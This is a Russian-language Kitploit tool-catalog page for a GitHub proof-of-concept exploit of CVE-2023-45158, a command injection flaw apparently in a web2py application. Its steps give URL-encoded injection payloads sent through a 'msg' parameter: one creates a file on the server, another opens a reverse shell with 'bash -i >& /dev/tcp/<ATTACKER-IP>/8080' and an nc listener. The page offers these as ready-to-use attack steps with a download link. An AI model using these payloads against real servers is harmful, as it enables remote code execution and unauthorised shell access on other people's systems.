Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-45158 — PoC-эксплойт для CVE-2023-45158, уязвимости внедрения команд в web2py. Демонстрирует удаленное выполнение кода через специально созданные HTTP-запросы, включая создание файлов и полезные нагрузки обратной оболочки. | Kitploit
Инструменты/GitHubGitHub/yifanzhg/cve-2023-45158
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubyifanzhg/cve-2023-45158

CVE-2023-45158

PoC-эксплойт для CVE-2023-45158, уязвимости внедрения команд в web2py. Демонстрирует удаленное выполнение кода через специально созданные HTTP-запросы, включая создание файлов и полезные нагрузки обратной оболочки.

Репозиторий
4112 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-45158

Шаги

  1. Запустите веб-сервер
root@kitploit:~
cd web2py
python3 web2py.py
  1. Внедрите свою команду с помощью URL http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27. Замените <IP-ADDRESS> и <YOUR-COMMAND> на свои значения.

Примеры

  1. Создайте файл на сервере

http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27

  1. Обратная оболочка

На машине атакующего запустите nc -l 127.0.0.1 8080

Перейдите по URL http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27. Замените .

<ATTACKER-IP>
Скачать инструмент